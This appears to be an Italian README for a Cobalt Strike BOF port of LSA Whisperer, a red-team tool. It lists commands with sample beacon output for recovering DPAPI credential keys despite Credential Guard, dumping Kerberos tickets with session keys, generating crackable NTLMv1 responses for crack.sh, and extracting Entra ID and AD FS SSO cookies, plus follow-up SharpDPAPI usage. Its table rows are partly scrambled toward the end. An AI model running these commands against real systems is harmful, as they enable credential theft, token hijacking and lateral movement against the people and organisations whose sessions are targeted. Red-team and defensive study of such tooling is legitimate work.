
Un Beacon Object File (BOF) che comunica direttamente con i pacchetti di autenticazione di Windows tramite l'interfaccia client LSA non affidabile/affidabile, senza toccare la memoria del processo LSASS.

Un porting di LSA Whisperer come Cobalt Strike Beacon Object File (BOF) — lo strumento che parla direttamente con i pacchetti di autenticazione di Windows tramite l'interfaccia client LSA attendibile/non attendibile, senza toccare la memoria del processo LSASS anche quando PPL e Credential Guard sono abilitati.
LSA Whisperer di Evan McBroom (SpecterOps) ha dimostrato che è possibile recuperare le chiavi delle credenziali DPAPI, estrarre token SSO cloud e interagire con Kerberos — tutto tramite chiamate API legittime LsaCallAuthenticationPackage. Nessuna lettura della memoria, nessuna iniezione di processo, nessun handle a LSASS.
Questo progetto porta queste capacità nei C2 come BOF per l'uso durante gli impegni di red team. Non apre mai un handle al processo lsass e tutte le chiamate passano attraverso LsaCallAuthenticationPackage (l'API client ufficiale usata per parlare con lsass), PPL su LSASS non ha alcuna importanza. PPL protegge il processo LSASS dall'essere aperto/letto/iniettato.
| Comando | Descrizione |
|---|---|
lsa-credkey [LUID] | Recupera la chiave delle credenziali DPAPI. Funziona con Credential Guard. |

| Comando | Descrizione |
|---|---|
lsa-klist [LUID] | Elenca i ticket Kerberos nella cache. |
lsa-dump [LUID] | Scarica tutti i ticket come blob .kirbi in base64 con le chiavi di sessione. |
lsa-purge [LUID] [server] |

| Comando | Descrizione |
|---|---|
lsa-ssocookie [LUID] | Estrai il cookie SSO di Entra ID (Azure AD) tramite il plugin AAD. |
LUID: 0 o ometti per la sessione corrente. Valore esadecimale (es. 0x3e7) per mirare a una specifica sessione di accesso. Mirare ad altre sessioni richiede SYSTEM.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
Usa la chiave recuperata con SharpDPAPI:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
Invia la risposta a crack.sh per il recupero immediato dell'hash NT con il challenge predefinito.
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
Ogni modulo compila in un BOF indipendente. Il codice comune è incluso al momento della compilazione (pattern BOF standard) — nessuna libreria condivisa o dipendenze runtime.
| Contesto | Capacità |
|---|---|
| Utente corrente (non privilegiato) | lsa-klist, lsa-ssocookie, lsa-cloudinfo per la propria sessione |
SYSTEM (SeTcbPrivilege) | Tutti i comandi che mirano a qualsiasi sessione di accesso tramite LUID |
Enumera i LUID disponibili con logonpasswords o klist per trovare sessioni target.
lsa-credkey e lsa-strongcredkey funzionano attraverso Credential Guard. lsa-ntlmv1 è bloccato da esso.1122334455667788 permette il cracking gratuito con tabelle rainbow tramite crack.sh. Challenge personalizzati funzionano ma richiedono brute-force standard.lsa-purge con un filtro server rimuove solo i ticket corrispondenti — utile per l'abuso mirato di Kerberos senza interrompere la sessione dell'utente.Questo progetto è un porting BOF di LSA Whisperer di Evan McBroom (@EvanMcBroom) di SpecterOps. Tutta la ricerca sottostante — i messaggi di protocollo MSV1_0 non documentati, l'interfaccia di chiamata del plugin CloudAP/AAD e le definizioni delle strutture che rendono tutto ciò possibile — è opera sua.
Riferimenti chiave:
lsa-strongcredkey [LUID] | Recupera la chiave forte delle credenziali DPAPI (Win10+). |
lsa-ntlmv1 [LUID] [challenge] | Genera risposta NTLMv1 con challenge scelto. Il challenge predefinito 1122334455667788 è compatibile con le tabelle rainbow di crack.sh. |
| Elimina i ticket. Supporta eliminazione selettiva per nome server. |
lsa-devicessocookie [LUID] | Estrai il cookie SSO del dispositivo. |
lsa-enterprisesso [LUID] | Estrai il cookie SSO enterprise AD FS. |
lsa-cloudinfo [LUID] | Interroga info sul provider cloud, stato TGT, stato DPAPI. |